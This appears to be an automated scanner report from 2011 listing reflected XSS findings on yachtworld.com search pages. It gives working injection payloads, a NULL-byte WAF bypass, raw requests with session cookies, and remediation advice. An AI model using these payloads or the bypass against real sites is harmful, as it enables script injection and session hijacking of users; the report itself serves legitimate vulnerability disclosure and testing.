VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:07:11 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %006291e"><script>alert(1)</script>0d77fcea0d6 was submitted in the url parameter. This input was echoed as 6291e"><script>alert(1)</script>0d77fcea0d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=starlingmarine&units=Feet&&cit=true&url=starlingmarine%006291e"><script>alert(1)</script>0d77fcea0d6&&hosturl=starlingmarine&&ywo=starlingmarine&&lineonly&&type=%28Power%29 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:25:31 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f81d7"><script>alert(1)</script>4196143acd6 was submitted in the ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=southpawf81d7"><script>alert(1)</script>4196143acd6&ps=50&type=&new=&luom=126&hosturl=southpaw&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:26:44 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the ywo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b8f4"><script>alert(1)</script>b0089275f4c was submitted in the ywo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?ywo=starlingmarine5b8f4"><script>alert(1)</script>b0089275f4c&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:26 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 12394
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the N request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 737a0'%3balert(1)//26b9376415 was submitted in the N parameter. This input was echoed as 737a0';alert(1)//26b9376415 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/searchResults.jsp?fromYear=2004&searchtype=homepage&Ntk=boatsEN&sm=3&toLength=32&cit=true&luom=126¤cyid=100&fromPrice=0&fromLength=24&man=regulator&slim=quick&N=3941737a0'%3balert(1)//26b9376415&is=false&pricderange=Select+Price+Range HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 22:09:27 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "3941737a0';alert(1)//26b9376415"<br> ...[SNIP]...
The value of the N request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4b05'%3balert(1)//5eb043fe571 was submitted in the N parameter. This input was echoed as a4b05';alert(1)//5eb043fe571 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3&hmid=0&ftid=0&enid=0¤cyid=100&luom=126&N=2280a4b05'%3balert(1)//5eb043fe571&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:07:06 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2280a4b05';alert(1)//5eb043fe571"<br> ...[SNIP]...
The value of the No request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58b65'%3balert(1)//c6b76bbd859 was submitted in the No parameter. This input was echoed as 58b65';alert(1)//c6b76bbd859 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:40:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 19758
